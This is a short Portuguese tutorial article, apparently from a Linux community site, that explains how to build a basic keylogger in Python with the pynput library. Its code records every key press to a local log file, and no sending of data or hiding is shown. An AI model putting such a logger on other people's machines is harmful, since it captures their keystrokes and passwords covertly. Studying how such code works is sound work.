Como criar um keylogger em Python
Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.
[ Hits: 48.620 ]
Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://fabio.automatizando.dev
#em pynput, importar o método Listener do teclado
from pynput.keyboard import Listener
#definir a localização do arquivo de log
logFile = "/home/fabio/python/keylogger/log.txt"
def writeLog(key):
'''
Esta função será responsável por receber a tecla pressionada
via Listener e escrever no arquivo de log
'''
#converter a tecla pressionada para string
keydata = str(key)
#abrir o arquivo de log no modo append
with open(logFile, "a") as f:
f.write(keydata)
#abrir o Listener do teclado e escutar o evento on_press
#quando o evento on_press ocorrer, chamar a função writeLog
with Listener(on_press=writeLog) as l:
l.join()
Criando gráficos com a classe JPGraph (parte 2)
Edital de política de contribuição de artigos
Como isolar seus projetos Python com virtualenv (ambiente virtual)
Como gerar qualquer emoji ou símbolo unicode a partir do seu teclado
Gerar Códigos QRCode com Python
Introdução a Threads e como implementá-las em Python
Reconhecimento de placas de veículos com OpenALPR
Alimentando Desktopcouch com Zeitgeist
Qu1cksc0pe - All-in-One Static Malware Analysis Tool
Cirurgia para acelerar o openSUSE em HD externo via USB
Void Server como Domain Control
Modo Simples de Baixar e Usar o bash-completion
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
Como implementar Raid (0, 1, 5, 6, 10 e 50)
fusermount3 no Ubuntu 25.10 - mantenha o perfil do AppArmor
[Resolvido] dlopen(): error loading libfuse.so.2 AppImages require FUSE to run.
Criação de diretórios e aplicação de restrições de acesso no Linux
Servidor de DNS BIND Ubuntu server (4)
Como programar um sistema de controle para distribuições linux em c? (2)
Compartilhar ZEBRA ZD220 na rede (2)
Como programar um software que seja utilizado para coleta de dados em ... (1)









